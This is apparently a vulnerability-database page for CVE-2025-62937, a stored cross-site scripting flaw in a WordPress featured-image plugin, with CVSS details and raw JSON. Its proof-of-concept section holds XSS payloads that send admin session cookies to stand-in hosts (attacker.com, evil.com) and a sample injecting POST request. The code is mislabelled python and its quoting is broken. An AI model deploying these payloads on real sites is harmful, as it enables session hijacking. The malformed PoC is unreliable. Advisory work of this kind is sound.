Security Vulnerability Report
中文
CVE-2025-62937 CVSS 6.5 MEDIUM

CVE-2025-62937

Published: 2025-10-27 02:15:54
Last Modified: 2026-04-27 17:16:36

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Johnny Post List Featured Image post-list-featured-image allows Stored XSS.This issue affects Post List Featured Image: from n/a through <= 0.5.9.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Post List Featured Image <= 0.5.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62937 Stored XSS PoC - WordPress Post List Featured Image Plugin // Attack Vector: Inject malicious JavaScript in featured image field // Step 1: Create malicious payload var xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">">'; // Step 2: Submit via WordPress admin interface // POST request to wp-admin/post.php or via REST API /* POST /wp-admin/post.php HTTP/1.1 Host: target.com Cookie: [admin cookies] Content-Type: application/x-www-form-urlencoded post_ID=123&_thumbnail_id=<img src=x onerror=alert(document.cookie)>&action=editpost */ // Step 3: When admin views the post list page, XSS executes // The malicious script runs in admin context, stealing session cookies // Real-world attack example: var realPayload = '<img src="x" onerror="var img=new Image();img.src='\''https://evil.com/log?c='\'+encodeURIComponent(document.cookie)+'&ua='\'+navigator.userAgent">" />'; // Mitigation: Ensure plugin sanitizes and escapes all user inputs // Use sanitize_text_field(), esc_attr(), esc_html() functions

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62937", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:53.640", "lastModified": "2026-04-27T17:16:35.947", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Johnny Post List Featured Image post-list-featured-image allows Stored XSS.This issue affects Post List Featured Image: from n/a through <= 0.5.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-list-featured-image/vulnerability/wordpress-post-list-featured-image-plugin-0-5-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}